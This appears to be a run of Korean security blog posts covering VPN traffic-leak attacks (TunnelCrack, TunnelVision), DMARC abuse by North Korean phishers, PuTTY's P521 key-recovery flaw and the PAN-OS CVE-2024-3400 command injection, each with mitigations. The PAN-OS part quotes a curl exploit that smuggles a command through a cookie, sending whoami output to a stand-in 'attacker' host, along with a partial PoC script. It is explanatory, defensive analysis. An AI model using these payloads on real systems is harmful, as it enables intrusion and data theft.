1. VPN(Virtual Private Network)

- 가상 사설망

- 기존 공용 네트워크에 터널링 및 암호화 기법을 사용해 만든 가상 사설망 네트워크

- VPN을 활용해 외부에서 안전하게 내부망과 통신할 수 있음

- 비용 효율, 익명성, 암호화, IP 우회 등의 장점과 속도 저하, 일부 국가 불법 등의 단점이 있음

 

2. TunnelCrack [1]

- 23.08.08 VPN의 두 가지 보안 취약점이 결합된 트래픽 유출 취약점이 발견

> 해당 공격은 사용되는 VPN 프로토콜과 무관

> 많은 VPN 클라이언트는 다음 두 가지 유형의 트래픽을 VPN 터널 외부로 전송하기 위해 예외를 추가

① 로컬 네트워크와 주고받는 트래픽: VPN을 사용하는 동안 로컬 네트워크에 계속 액세스할 수 있도록 보장

② VPN 서버와 주고받는 트래픽: 라우팅 루프가 없음을 보장

 

2.1 LocalNet 공격 (CVE-2023-36672, CVE-2023-35838)

[사진 1] LocalNet 공격 요약

 

- 공격자가 로컬 네트워크 IP 주소 범위를 조작하여 트래픽이 유출될 수 있음

> 공격자가 로컬 네트워크에 할당된 IP 범위를 제어할 수 있다고 가정

> 공격자는 로컬 네트워크 내에서 활동

① 공격자는 악성 AP를 생성 하고 로컬 네트워크 IP 범위를 대상 서버의 IP 주소가 포함된 범위로 설정

② 피해자 VPN 클라이언트는 연결하려는 웹사이트가 로컬 네트워크에 있다고 믿도록 속여 연결되지 않음

 

[사진 2] LocalNet 공격 과정

 

① 공격자는 악성 AP를 생성하고 대상 서버의 IP 주소가 포함된 범위로 IP 범위를 설정하며, 피싱 사이트 생성

> 피싱 사이트는 대상 서버와 IP를 동일하게 구성

② 피해자는 악성 AP에 연결하며, 악성 AP는 target[.]com과 동일한 서브넷의 IP 주소 할당

③ 피해자는 정상적인 VPN 연결을 생성

④ 피해자가 target[.]com 접속 시 피싱 사이트로 연결

> 피해자는 target[.]com(피싱 사이트)가 동일한 로컬 네트워크에 있다고 믿음

> 결과적으로 클라이언트는 VPN 터널을 사용하지 않고 웹 서버에 직접 연결 시도

※ 목적지 target[.]com을 제외한 트래픽은 정상 VPN 터널을 통해 전송

 

2.2 ServerIP 공격 (CVE-2023-36673, CVE-2023-36671)

[사진 3] ServerIP 공격 요약

 

- 공격자는 VPN 서버의 IP 주소를 스푸핑하여 트래픽이 유출될 수 있음

> 공격자가 DNS 응답을 스푸핑할 수 있다고 가정

> 공격자는 위치는 (1) 피해자가 VPN 서버의 IP 주소를 조회하는데 사용하는 DNS 서버 (2) 트래픽을 유출하려는 피해자와 대상 서버

① 공격자는 피해자의 VPN 서버에 대한 nslookup 결과를 스푸핑 (DNS 스푸핑)

② 피해자는 스푸핑된 IP 주소로 서버에 연결 시도

 

[사진 4] ServerIP 공격 과정

 

① 피해자는 vpn[.]com의 IP를 얻기위해 nslookup

② 공격자는 nslookup에 대한 응답을 스푸핑하여 조작된 응답을 전송

> [사진 4]에서는 target[.]com의 IP 주소로 DNS 스푸핑

③ 피해자는 조작된 IP로 VPN 연결을 시도하며, 공격자는 정상 vpn[.]com으로 패킷 포워딩

④ 피해자가 target[.]com으로 접속 시 트래픽은 VPN 터널 외부로 전송

> 결과적으로 VPN 클라이언트는 스푸핑된 IP 주소로 연결을 시도

 

2.3 취약점 영향 및 대응 방안

[사진 5] TunnelCrack에 영향받는 VPN 클라이언트 비율 (좌 LocalNet, 우 ServerIP)

구분 대응방안
LocalNet - 로컬 트래픽 비활성화 (단, 로컬 네트워크 사용이 불가해짐)
- 라우팅할 수 없는 IP 주소에 대한 직접 액세스만 허용 (로컬 네트워크에 대한 액세스가 필수인 경우)
ServerIP - 정책 기반 라우팅 (VPN 클라이언트를 제외한 모든 애플리케이션의 트래픽을 VPN 터널을 통해 전송)
- 서버 IP 주소 확인 (클라이언트가 서버에 연결되면 VPN 서버의 IP 주소 확인)
- 인증된 DNS 사용 (DNSSEC 등)

 

3. TunnelVision (CVE-2024-3661) [2][3]

- 24.05.06 VPN 트래픽을 훔쳐볼 수 있는 취약점이 발견

> DHCP의 설계 오류로 인해 발생

> IP 라우팅을 기반으로하는 모든 VPN 시스템에 통하는 공격으로 2 가지 조건을 가짐

① 공격자가 클라이언트의 DHCP 서버가 되어야 함

② 대상 호스트의 DHCP 클라이언트는 옵션 121을 구현해야 함

 

- DHCP Option 33 vs Option 121

> 1997년 DHCP RFC에는 관리자가 클라이언트의 라우팅 테이블에 설치할 고정 경로를 지정할 수 있는 옵션 33 존재

> 옵션 33Classful Static Routes를 사용하였고, 공용 IP 공간이 제한되면서 시간이 지남에 따라 선호되지 않음

> 2002년 RFC 3442에서 Classless Static Routes가 가능한 옵션 121 도입 (호환을 위해 옵션 33 유지)

> TunnelVision은 옵션 121를 악용해 공격

※ Android는 DHCP 옵션 121을 지원하지않아 영향받지 않음

 

[사진 6] TunnelVision 공격 과정 [4]

 

① 공격자는 정상 DHCP 서버에 DHCP 고갈 공격을 수행

> DHCP 고갈 공격: DHCP 서버에 MAC 주소를 변조하여 DHCP Discover 패킷을 계속 전송하여 IP 주소를 모두 소진하도록 하는 공격

> DHCP는 DHCP Discover 패킷의 MAC 주소만 보고 호스트 인식

② 공격자는 피해자와 동일한 네트워크에서 악성 DHCP를 운영

③ 악성 DHCP 서버는 옵션 121을 악용해 라우팅 테이블에 고정 경로를 구성

④ 공격자는 트래픽이 기본 게이트웨이로 전달되기 전에 암호화되지 않은 트래픽을 가로챌 수 있음

 

[사진 7] 옵션 121을 악용한 정적 경로 [4]

 

 

[영상 1] TunnelVision 공격 시연 영상 [5]

 

3.1 대응방안

구분 설명
DHCP Snooping - DHCP 서버를 보호하기 위해 사용하는 기능
> 스위치에는 DHCP 서버 또는 DHCP Relay Agent가 접속된 Trusted Port와 DHCP 클라이언트가 접속된 Untrusted Port가 있음
> Untrusted Port에서 DHCP 응답 메시지를 확인하면 차단 (DHCP Spoofing 방지)
> 또한, Ethernet 프레임의 SRC MAC 주소와 DHCP 메시지의 클라이언트 MAC 주소를 비교해 정상 여부 판단 (DHCP 고갈 공격 방지)
옵션 121 비활성화 - TunnelVision은 옵션 121을 악용하므로 옵션 121 비활성화시 완화할 수 있음
포트 보안 - 포트에 연결된 PC의 MAC 주소를 등록한 후 등록된 MAC 주소에서 수신한 패킷만 전달

 

4. 참고

[1] https://tunnelcrack.mathyvanhoef.com/details.html
[2] https://www.leviathansecurity.com/blog/tunnelvision
[3] https://github.com/leviathansecurity/TunnelVision
[4] https://www.zscaler.com/blogs/security-research/cve-2024-3661-k-tunnelvision-exposes-vpn-bypass-vulnerability

[5] https://www.youtube.com/watch?v=ajsLmZia6UU

요약 - CISA와 FBI가 소프트웨어 개발사들을 대상으로 긴급 권고문을 발표
- 소프트웨어 제품들을 출시하기 전에 경로 조작 취약점이 있는지 검토해 해결하라는 내용
내용 - 미국 공공 의료 서비스 분야에서 경로 탐색 취약점으로인해 침해사고가 발생
> CVE-2024-1708 : ConnectWise ScreenConnect 23.9.8 이전 버전에서 발생하는 경로 탐색 취약점
> CVE-2024-20345 : Cisco AppDynamics Controller의 파일 업로드 기능에서 사용자 입력값을 적절히 필터링하지 못해 발생하는 경로 탐색 취약점

> 입력값 필터링, 업로드 디렉터리 실행 권한 제거, 업로드 파일명 랜덤화 등 조치

※ 경로 탐색 취약점 (Directory Traversal Vulnerabilities)
> 경로이동 문자열('../' 등)을 삽입하여 인증없이 특정 파일 또는 디렉토리에 접근할 수 있는 취약점 
기타 -

 

보안뉴스

 

미국 CISA, 경로 조작 취약점에 대해 별도의 권고문 발표

보안 외신 블리핑컴퓨터에 의하면 미국의 사이버 보안 전담 기관인 CISA와 FBI가 소프트웨어 개발사들을 대상으로 긴급 권고문을 발표했다고 한다. 소프트웨어 제품들을 출시하기 전에 경로 조작

www.boannews.com

 

Secure by Design Alert: Eliminating Directory Traversal Vulnerabilities in Software | CISA

CISA and the Federal Bureau of Investigation (FBI) crafted this Alert in response to recent well-publicized threat actor campaigns that exploited directory traversal vulnerabilities in software (e.g., CVE-2024-1708, CVE-2024-20345) to compromise users of

www.cisa.gov

 

1. 개요 [1]

- 미국 국가안보국(NSA), 연방수사국(FBI), 국무부는 이메일 보안 프로토콜을 악용한 북한 해킹그룹 관련 보안 권고 발표
- 북한 해킹그룹은 신분을 가장하여 스피어피싱 캠페인을 수행

 

2. 주요내용

북한 해킹그룹은 이메일 보안 프로토콜 DMARC을 악용해 피싱 메일을 발송

 

- DMARC (Domain-based Message Authentication Reporting and Conformance) [2][3]
SPF와 DKIM을 사용해 메일의 인증 여부를 확인하고, 메일이 SPF와 DKIM 검사를 통과하지 못하면 DMARC 정책이 실행

> DNS TXT 레코드에 명시

※ DMARC 정책 : 의심스러운 메일을 처리하는 방법이 명시

 

> SPF와 DKIM을 기반으로 동작하기에 SPF와 DKIM을 먼저 설정해야 함

※ SPF (Sender Policy Framework) : 수신측 메일서버가 발신측 메일 발송 IP가 DNS에 등록된 IP가 맞는지 확인하여 스팸인지 아닌지 확인

※ DKIM (Domain Keys Identified Mail) : 수신측 메일서버가 발신측에서 보낸 전자서명과 DNS에 등록된 DKIM 공개키로 전자서명을 검증하여 스팸인지 아닌지 확인

 

- DMARC 레코드 다음과 같은 항목으로 구성 [4][5]

DMARC 레코드 형식 예시: v=DMARC1; p=none; aspf=r; adkim=r; rua=mailto:report@example.com
항목 설명 비고
v - DMARC의 버전을 설명하며, 반드시 가장 먼저 선언되어야 함 필수
p - 반드시 v 다음에 선언되어야 함
- 수신 서버에서 DMARC로 인증되지 않은 메일에 대한 처리 방법 명시
> none : 아무런 조치를 하지 않고 메일을 수신
> quarantine : 이메일을 스팸으로 표시하고 스팸함으로 보냄
> reject : 수신을 거부 (스팸함에도 도착하지 않음)
필수
sp - 하위 도메인에서 전송된 메일에 대한 정책
> none : 아무런 조치를 하지 않고 메일을 수신
> quarantine : 이메일을 스팸으로 표시하고 스팸함으로 보냄
> reject : 수신을 거부 (스팸함에도 도착하지 않음)
 
aspf - 메일 정보가 SPF 서명과 어느 정도 정확하게 일치해야 하는지 정의
- 값을 설정하지 않으면 기본적으로 r 값으로 설정
> s: 모두 일치
> r: 부분적 일치
 
adkim - 메일 정보가 DKIM 서명과 어느 정도 정확하게 일치해야 하는지 정의
- 값을 설정하지 않으면 기본적으로 r 값으로 설정
> s: 모두 일치
> r: 부분적 일치
 
rua - DMARC 처리 보고서를 수신할 이메일 주소
- 메일 주소 앞에 "mailto:"를 입력
- 쉼표(,)를 연결하여 여러 이메일 주소 지정 가능
 
ruf - DMARC 처리 실패 보고서를 수신할 이메일 주소
- 메일 주소 앞에 "mailto:"를 입력
- 쉼표(,)를 연결하여 여러 이메일 주소 지정 가능
 
pct - DMARC 정책을 적용할 이메일 비중
- 0 ~ 100까지 설정 가능하며 기본값은 100
 
fo - 실패 보고서(ruf)를 생성할 기준
> 0: SPF, DKIM 모두 실패 (기본값)
> 1: SPF, DKIM 둘 중 하나 실패
> s: SPF 실패
> d: DKIM 실패
 
rf - 실패 보고서(ruf) 형식에 대한 설정
- 값 afrf 고정
 
ri - 실패를 집계할 기간으로, 설정된 주기마다 rua 발송
- 기본값: 86400초
 

 

- 북한 공격자들은 "p=none" 설정의 약점을 공격에 악용

> DMARC 레코드 설정에 따르면 p=none 설정은 검증 실패 시 아무런 조치 없이 메일을 수신

[사진 1] p=none

 

- 또는 메일 헤더를 조작하거나 [사진 2], 메일 본문에 회신 메일을 명시하여 회신을 유도 [사진 3]

 

[사진 2] 메일 헤더 조작
[사진 3] 메일 본문 회신 메일 명시

 

- 따라서, 위협에 대응하기 위해 DMARC 보안 정책을 구현할 것을 권장

> "v=DMARC1; p=quarantine;" 또는 "v=DMARC1; p=reject;"로 설정을 업데이트

> rua, ruf 레코드를 사용해 통합 보고서를 수신하여 가시성 확보 및 잠재적 보안 침해 식별

> 단, DMARC 정책 적용으로 발송한 메일이 수신자에게 전달되지 않을 수 있으므로, 영향도 검증 필요

 

3. 참고

[1] https://www.nsa.gov/Press-Room/Press-Releases-Statements/Press-Release-View/Article/3762915/nsa-highlights-mitigations-against-north-korean-actor-email-policy-exploitation/
[2] https://www.crinity.net/Newsletter/2019/06/Coffee_Break.html
[3] https://help.worksmobile.com/kr/administrator/service/mail/advanced-setting/what-is-dmarc/
[4] https://help.worksmobile.com/kr/administrator/service/mail/advanced-setting/what-is-dmarc/
[5] https://docs.nhncloud.com/ko/Notification/Email/ko/dmarc-record/
[6] https://www.dailysecu.com/news/articleView.html?idxno=155699

요약 - 공공 코드 리포지터리의 핵심 기능을 공격자들이 악용하기 시작
- 해당 공격 방법에 대처할 수 있는 방법이 전무
내용 - 깃허브 및 깃랩 코멘트들을 활용해 피싱 링크를 생성하기 시작
> 정상적인 오픈소스 소프트웨어와 연결된 링크처럼 보임
> 누구나 아무 프로젝트를 사칭할 수 있게 해줌
> 프로젝트의 주인이 쉽게 알아낼 수 없으며, 대처법이 없음
※ 과거 일부 공격자들 사이에 알려져 있었으며, 널리 사용되는 것을 발견해 알린 것

- 개발자들은 '코멘트' 기능을 이용해 기능 향상 및 버그와 관련한 제보를 받음
> 내용이 길 경우 문서 파일 또는 스크린 샷 등의 형태로 작성해 코멘트를 남길 수 있음
> 파일 형태로 코멘트를 남길 경우 해당 코멘트에는 자동으로 URL이 배정
> Ex) 깃랩의 프로젝트에 파일을 코멘트로 업로드한 경우 URL
> hxxp://gitlab.com/{프로젝트_그룹_이름}/{리포지터리_이름}/uploads/{파일_id}/{파일_이름}

- 코멘트 부분에 멀웨어를 업로드해 악성 URL 생성
> URL에 깃허브, 깃랩, 프로젝트명 등이 포함되어 육안으로 판단하기 어려움
> 해당 프로젝트의 운영자들이 코멘트를 하나하나 살피기 어려워 URL을 전량 검사하기 어려움
> 해당 코멘트를 지우더라도 생성됐던 URL은 여전히 작동하며, 업로드 된 파일 또한 코멘트에서만 지워지고 CDN에는 그대로 남아있음
> 파일을 업로드한 후 코멘트를 등록하지 않아도 파일이 업로드되는 순간 URL이 생성(파일 업로드 기능만 활성화시키는 것으로 URL 생성 가능)

- 이런 코멘트의 특성으로 인해 URL을 매우 신뢰할 만한 형태로 생성 가능
> 사칭하는 프로젝트의 신뢰도를 훼손
> 대응할 방법이 사실상 전무
기타 - 프로젝트 이름이 포함된 URL을 악성인지 아닌지 판단하는 것은 불가능
> 알고 있는 이름들이 URL에 있다고 해서 믿는 것은 지양
> 보다 확실한 방법이 필요

 

보안뉴스

 

깃허브와 깃랩 사용하면 사실상 대처법이 전무한 피싱 공격 완성

해커들이 공개되지 않은 깃허브 및 깃랩 코멘트들을 활용해 피싱 링크를 만들어내기 시작했다. 이렇게 하니 정상적인 오픈소스 소프트웨어와 연결된 링크처럼 보이게 됐다. 매우 영리한 기법으

www.boannews.com

 

요약 - 쿠키, 적합한 서비스 제공하지만 외부 유출 후 범죄자 악용 시 부작용 많아
- 다크 웹에서 거래된 쿠키 540억 중 약 1억 8600만 개의 쿠키는 한국 것
내용 - 쿠키
> 웹사이트와 사용자의 상호 작용에 관한 데이터가 포함된 작은 텍스트 파일
> 해당 파일에 담긴 정보는 인터넷 사용자가 동일한 웹사이트를 방문할 때마다 읽히며 수시로 새로운 정보로 변경
> 사용자가 인터넷 이용 상태를 파악할 수 있게 도와주며 이를 기반으로 사용자에게 적합한 서비스 제공을 가능하게 해줌

- 활성 쿠키와 비활성 쿠키
> 활성 쿠키: 현재 사용자의 세션에서 사용되며 로그인 상태를 유지하거나 세션 정보를 추적하는 데 사용
> 비활성 쿠키: 이전 세션에서 생성되었거나 현재 필요하지 않은 쿠키로 사용자의 활동을 추적하는 데 사용하지 않음
> 그러나, 비활성 쿠키에도 개인 정보가 포함되어 있을 수 있어 해커가 악용할 수 있음

- 광고 및 타겟마케팅에 대한 수요 급증으로 쿠키 기술 응용 또는 악용 현상 증가
> 해커들은 불법 경로로 쿠키를 거래해 범죄에 악용

- 노드VPN 조사 결과
> 쿠키를 빼내기 위해 사용된 악성 소프트웨어는 12개
> 해당 방식으로 국내에서 유출된 쿠키는 약 1억 8600만개 (활성쿠키 33%)
> 대한민국은 전 세계 30위, 동아시아에서는 1위를 기록
기타 - 쿠키 유출로 인한 피해를 완벽히 방어하는 것은 불가능
> 자주 방문하는 사이트에서 주기적으로 쿠키 삭제 권장
> 믿을 수 있는 보안 솔루션 활용 중요

 

보안뉴스

 

“다크 웹에서 거래된 쿠키 540억 건 중, 한국이 동아시아 1위” - 데일리시큐

글로벌 인터넷 보안 업체 노드VPN의 최신 연구 결과, 다크 웹에서 거래된 쿠키 540억 중 약 1억 8600만 개의 쿠키는 한국 것으로 밝혀졌다.인터넷 쿠키, 웹 쿠키 또는 HTTP 쿠키라고도 불리는 쿠키는

www.dailysecu.com

 

달콤한 감시자: 인터넷 쿠키의 숨겨진 위험성

도난당한 인터넷 쿠키의 예상치 못한 위험에 대해 알아보세요. 계정, 자산, 개인 데이터가 위험에 처할 수 있습니다. 어떻게 보호해야 하는지 알고 계신가요?

nordvpn.com

 

1.PuTTY [1]

- SSH, 텔넷, rlogin, raw TCP를 위한 클라이언트로 동작하는 자유 및 오픈 소스 단말 에뮬레이터 응용 프로그램

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2024-31497 [2]

 

- 취약한 버전의 PuTTY에서 발생하는 비밀 키 복구 취약점

> 공격자는 비밀 키를 복구 및 서명을 위조하여 해당 키를 사용하는 모든 서버에 로그인할 수 있음

영향받는 버전: PuTTY 0.68 ~ 0.80

 

2.1 상세내용 [3]

- PuTTY 0.68 ~ 0.80까지 모든 버전에는 NIST P521 커브를 사용하는 ECDSA(타원 곡선 디지털 서명 알고리즘) 개인 키에서 서명을 생성하는 코드에 심각한 취약점이 존재

> PuTTY 또는 Pageant가 SSH 서버에 인증할 때 키에서 서명을 생성할 때 발생

 

2.1.1 취약점의 영향

- 사용자의 비밀 키가 노출

> 공격자가 다수의 서명된 메시지와 공개 키를 가지고 있으면 개인 키를 복구하는데 충분한 정보를 가지게 됨

> 이를 통해 사용자인 것처럼 서명을 위조하여 해당 키를 사용하는 모든 서버에 로그인이 가능해 짐

> 서명을 얻기 위해 키를 사용하여 인증하는 서버를 침해하거나, 키를 보유한 Pageant 사본에 잠시 액세스하면 됨

 

2.1.2 영향받는 키 타입

- 영향을 받는 유일한 키 타입521bit ECDSA

① Windows PuTTYgen에서 'Key fingerprint' 상자의 시작 부분에 ecdsa-sha2-nistp521이 표시되거나
② Windows Pageant에 로드될 때 'NIST p521'로 설명되거나
③ SSH 프로토콜 또는 키 파일에서 ecdsa-sha2-nistp521로 시작하는 ID를 가진 키

> 다른 크기의 ECDSA와 다른 키 알고리즘은 영향 받지 않음 (특히 Ed25519는 영향을 받지 않음)

 

2.1.3 오류 상세 내용

- 모든 DSA(디지털 서명 알고리즘) 서명 체계는 서명 중 무작위 값을 생성해야 함

> nonce(한 번만 사용되는 값) 또는 문자 k로 알려짐
> 공격자가 사용된 값을 추측 하거나 동일한 값으로 생성된 두 개의 서명을 찾을 수 있다면 즉시 개인키 복구가 가능

※ 즉, 무작위성이 없는 시스템에서 DSA 서명을 생성하는 것은 매우 위험

 

- PuTTY는 Windows에서 개발되었기 때문에 난수 생성기가 전혀 없었음

> 무작위 값이 아닌 결정론적 방법을 사용하여 k를 생성

> 해시 입력에 서명할 메시지와 개인 키를 모두 포함하는 보안 해시를 계산하는 것이 핵심 기법 (RFC 6979)

> PuTTY는 2001년부터 동일한 작업을 수행했고 해당 RFC는 2013년 문서화되어 PuTTY는 해당 사양을 따르지 않음

 

2.1.4 취약점 발생 원인

- PuTTY의 기술은 SHA-512 해시를 만든 후 이를 mod q로 줄이는 방식으로 작동

> P521(=영향받는 키 타입)을 제외한 모든 경우에 512bit 숫자를 mod q로 줄임으로써 발생하는 편향은 무시가능

> 그러나 P521의 경우 q가 521bit(즉, 512bit 이상)이므로 512bit 숫자를 mod q로 줄이는 것은 아무 의미가 없음

> 상위 9bit 값이 항상 0인 값을 얻게 되며, 이러한 편향으로 인해 키 복구 공격이 가능해 짐

※ 필요한 서명의 개수는 약 60개

 

2.1.5 취약점 수정 내용 및 대응 방안

- 수정 내역: 모든 DSA 및 ECDSA 키 유형에 대해 RFC 6979를 따르도록 변경

> 이전 시스템 완전 폐기

> Ed25519와 같은 EdDSA 키는 이미 다른 시스템을 사용하고 있어 변경되지 않음

 

- 대응 방안: 영향받는 유형의 키가 있는 경우 즉시 폐기

> 모든 OpenSSH authorized_keys 파일과 다른 SSH 서버의 동일한 파일에서 이전 공개키를 제거

> 손상된 키의 서명이 더 이상 가치가 없도록한 후 새 키 쌍을 생성해 교체

 

3. 참고

[1] https://www.putty.org/
[2] https://nvd.nist.gov/vuln/detail/CVE-2024-31497
[3] https://www.chiark.greenend.org.uk/~sgtatham/putty/wishlist/vuln-p521-bias.html
[4] https://www.boannews.com/media/view.asp?idx=128945&page=6&kind=1

요약 - ‘코드 서명’은 사용자들로 하여금 제품을 구성하고 있는 코드를 신뢰할 수 있도록 함
- ‘코드 서명’을 악용한 공격이 대비하기 위해 안전한 코드 서명을 유지하는 것이 중요
내용 - 코드 서명
> 소프트웨어나 펌웨어, 애플리케이션들에 서명을 하는 것
> 서명 덕분에 사용자들은 그 소프트웨어나 펌웨어, 애플리케이션을 구성하고 있는 코드가 신뢰할 수 있는것으로 인식
> 이러한 특성으로, 코드 서명을 대상으로한 공격이 발생

- 코드 서명에 사용되는 비밀 키는 상당히 주의해서 보호해야 함
> 키를 보호하며 소프트웨어를 개발하는 과정은 여러 귀찮음이 수반
> 개발자들은 편리성을 위해 비밀 키를 개발 환경과 계정 등에 저장해 사용
> 이로인해 자주 도난 및 유출되는 상황이 발생

- 2020 솔라윈즈 사태 이후 CA브라우저포럼(Certificate Authority/Browser Forum)는 ‘기본 실천 수칙’을 발표
> 코드 서명 인증서들을 지키기 위함
> 하드웨어 보안 모듈(HSM)이나 암호화 키를 안전히 보관하는 장비들을 필수로 사용해야 한다는 수칙이 생김
※ HSM 가장 높은 수위의 보호 장치이나, 비용 상승, 높은 유지 보수 난이도, 시스템 복잡도 증가 등의 단점

- 클라우드로 이전이 시작되며 보안의 중요성이 더욱 대두
> 안전한 코드 서명과 관련된 새로운 해결책 제시
> 편리성과 속도 뿐만아니라 중앙에서 비밀 키를 관리하는 것이 가능해짐

- 통합된 코드 서명 절차
> 코드 서명 프로세스는 키 보안, 코드 서명 도구, 개발 워크플로우로 구성
> 키의 안전한 보호 및 활용, 개발 과정에도 적절한 활용이 되어야 이상적
> 이를 위해 지켜야 할 실천사항

① 키 보호
> 코드 서명에 사용되는 키들은 안전한 위치에 저장
> HSM들은 내부에 저장된 비밀 키들이 엑스포트 되지 않도록 하고, 허가되지 않은 조작 방지

② 접근 제어
> 비밀 키에 접근하려는 시도를 철저하게 가려내고 제어할 수 있어야 함 (역할에 따라 키 접근 여부 결정)
> 이를 위해서는 먼저 승인 작업의 워크플로우를 규정할 필요

③ 비밀 키 순환
> 서명 키는 주기적으로 교체
> 여러 팀들이 하나의 개발 플랫폼이나 환경을 공유한다면, 비밀 키를 따로 보관하여 활용 필요

④ 타임스탬프
> 코드 서명에 사용되는 인증서들은 유효기간을 지니며(1~3년) 인증서 유효기간들이 점점 줄어드는 추세
> 그렇기에 인증서가 제대로 된 것인지 아닌지 타임스탬프를 찍는 것이 중요

⑤ 코드 무결성 확인
> 전체 코드 점검을 한 후에 서명을 하는 순서가 반드시 지켜지도록 하는 게 중요
> 빌드 서버와 소스코드 리포지터리를 비교해 확인한 후 최종 빌드를 공개하는 것을 추천
> 모든 개발자 서명들도 하나하나 확인하는 것이 좋음

⑥ 관리의 중앙화
> 코드 서명 과정을 중앙에서 통제하도록 하는 게 가시성 확보나 빌드 신뢰도 향상 등의 측면에서 유리

⑦ 정책의 강력한 시행
> 코드 서명 절차를 수립했다면, 그것을 조직 전체의 규정으로 만들어 시행
> 승인, 키 만료, CA 유형, 키 용량, 서명 알고리즘 등을 세부적으로 지정해 시행
> 정책 시행이 자동으로 확인되도록 자동화 기술을 도입하는 것도 중요

⑧ 코드 서명의 간소화
> CI/CD 도구들을 활용해 코드 서명을 자동화
> 개발자들이 보안에 크게 신경 쓰지 않아야 보안이 유지될 수 있음
기타 -

 

보안뉴스

 

코드 서명 절차를 안전하게 유지시키기 위한 8가지 보안 전략

원격 접근 솔루션인 애니데스크(AnyDesk)에서 최근 침해 사고가 발생했다. 알고 봤더니 코드 서명 절차에 문제가 있었고, 거기서부터 공격이 시작된 것이었다. 이 사건에 관심을 기울였던 모든 사

www.boannews.com

 

1. PAN-OS

- Palo Alto Networks 사에서 판매하는 장비들에 탑재되어 있는 운영체제

 

2. 취약점

[사진 1] https://nvd.nist.gov/vuln/detail/CVE-2024-3400

 

- Palo Alto Networks PAN-OS의 GlobalProtect 기능에서 발생하는 Command Injection Zero-Day 취약점 (CVSS: 10.0)

> 입력값에 대한 유효성 검증 과정이 잘못 구현되어 있거나 누락되어 발생하는 취약점으로 판단됨

> 인증되지 않은 공격자가 방화벽에서 root 권한을 가진 임의 코드를 실행할 수 있음

> 현재 UTA0218 공격 그룹에서 방화벽 공격에 실제 사용하고 있는 취약점

영향받는 버전
- PAN-OS 11.1 ~ 11.1.2-h3 이전 버전
- PAN-OS 11.0 ~ 11.0.4-h1 이전 버전
- PAN-OS 10.2 ~ 10.2.9-h1 이전 버전

 

2.1 주요내용 [2]

[사진 2] CVE-2024-3400 타임라인

 

- 보안 업체 Volexity는 NSM(Network Security Monitoring) 고객의 방화벽에서 의심스러운 네트워크 트래픽 경고 확인

Palo Alto Networks PAN-OS의 GlobalProtect 기능에서 발견된 제로데이 취약점을 악용

> 공격 그룹 UTA0218이 사용자 정의 Python 백도어 UPSTYLE을 방화벽에 설치하려는 시도를 확인

> 해당 백도어를 통해 장치에 추가 명령을 실행

UPSTYLE 백도어 - update[.]py를 사용해 해당 백도어를 유포
> /usr/lib/python3.6/site-packages/system.pth 경로에 백도어 배포
> 백도어는 Python으로 작성되어 있으며, base64 encoded 되어있음

- 동작 과정
① 공격자는 특정 패턴을 포함하며, 404 Error를 반환하는 요청 전송
② Error log(/var/log/pan/sslvpn_ngx_error.log)에서 특정 패턴 검색
③ 특정 패턴(명령)을 디코딩 및 실행
④ 명령 실행 결과를 /var/appweb/sslvpndocs/global-protect/portal/css/bootstrap.min.css에 작성
⑤ 공격자는 /bootstrap.min.css 경로로 요청 전송
⑥ Error log에서 명령 삭제 및 15초 후 /bootstrap.min.css 원본으로 복구

※ 두 가지 변형이 확인되었으나, 동작 과정에서 큰 차이는 보이지 않음

[사진 3] UPSTYLE 백도어 동작 과정

 

- 익스플로잇에 성공한 후 공격을 위한 추가 툴을 다운로드

> patch 파일의 내용을 지속적으로 가져와 실행하여 지속성 유지

> patch 파일이 실행되면 policy 파일을 다운로드 및 실행하며, 총 6개의 policy 파일을 확인

> 이후 공격자는 Chrome 및 Edge 로그인 데이터, 쿠키, PC 정보, 자격 증명 정보 등을 탈취

구분 설명
patch - update.cron 파일 존재 여부 확인
> 없을 경우 파일을 생성 및 실행하여 cron 작업을 설정
> policy 파일을 다운로드하고, 60초마다 bash를 통해 실행

- 공격자는 추가 공격을 위해 수동으로 policy 파일을 작성
> C2 서버에 대한 접근 제어 목록을 수동으로 관리하는 것으로 확인
policy v1 - python으로 작성된 on-line 리버스 셸
policy v2 - 공격 명령 실행 결과가 포함된 CSS 파일을 제거
- 방화벽 장치의 설정을 새 파일에 복사하여 CSS 파일에 장치의 호스트 이름을 저장
> 해당 파일은 공격자가 접근 가능하도록 외부에서 액세스 가능한 디렉터리에 저장
policy v3 - 이전 단계에서 생성된 CSS 파일을 제거하는 데 사용
policy v4 - GOST 터널링 다운로드 및 실행하여, SOCKS5과 RTCP 터널 설정 시도
policy v5 - v4의 수정된 버전으로, Base64 인코딩 형식으로 GOST 터널링 다운로드
policy v6 - SSH를 통해 작동하는 오픈 소스 리버스 셸을 다운로드 및 실행하는 명령이 포함

 

2.2 취약점 분석 [3]

[사진 4] 취약한 함수

 

- send_file()는 서버에 파일을 업로드하기 위해 curl_cmd 문자열을 구성한 후 pansys() 호출 및 curl_cmd 실행

> pansys() 호출시 shell 변수를 True로 설정하여 셸 기능에 액세스할 수 있는 것으로 판단됨

[사진 5] SESSID 값 저장

 

- SESSID 쿠키에 설정된 값을 /tmp/sslvpn 경로에 session_ 문자열을 붙여 저장

> SESSID 쿠키에 임의의 데이터를 전달할 경우 /tmp/sslvpn에 "session_임의의 데이터" 저장

> SESSID 쿠키에 디렉터리 이동 문자 (../)를 추가할 경우 "seesion_" 문자가 추가되지 않음

curl hxxps://hostname/global-protect/login.esp -k -H 'Cookie: SESSID=./../../../opt/panlogs/tmp/device_telemetry/hour/aaa`curl${IFS}attacker:4444?user=$(whoami)`'

 

[사진 6] Exploit 결과

 

- 공격자는 2가지 버그를 결합해 취약한 장치에서 명령을 실행 [4]

> 1단계: SESSID에 셸 명령을 포함해 GlobalProtect에 전송하여 명령이 포함된 파일 생성

> 2단계: cron 작업을 통해 공격자가 제공한 명령이 실행

[사진 7] Expoloit 요약

2.3 PoC

- 깃허브에서 등록된 PoC는 404 Error 반환

> 일부 확인되는 PoC에서는 POST 요청의 데이터에 xml 포맷으로 명령어 전달 [5]

def exploit_firewall(target_ip, payload, root_ca=None):
    url = f"https://{target_ip}/api/"

    data = f"""<?xml version="1.0" encoding="UTF-8"?>
    <request>
        <op cmd="test" />
        <cmd code="ping">{payload}</cmd>
    </request>"""

    headers = {
        "User-Agent": "PAN-OS-Exploit",
        "Content-Type": "application/xml"
    }

    try:
        if root_ca:
            response = requests.post(url, headers=headers, data=data, timeout=5, verify=root_ca)
        else:
            response = requests.post(url, headers=headers, data=data, timeout=5, verify=False)

 

3. 대응방안

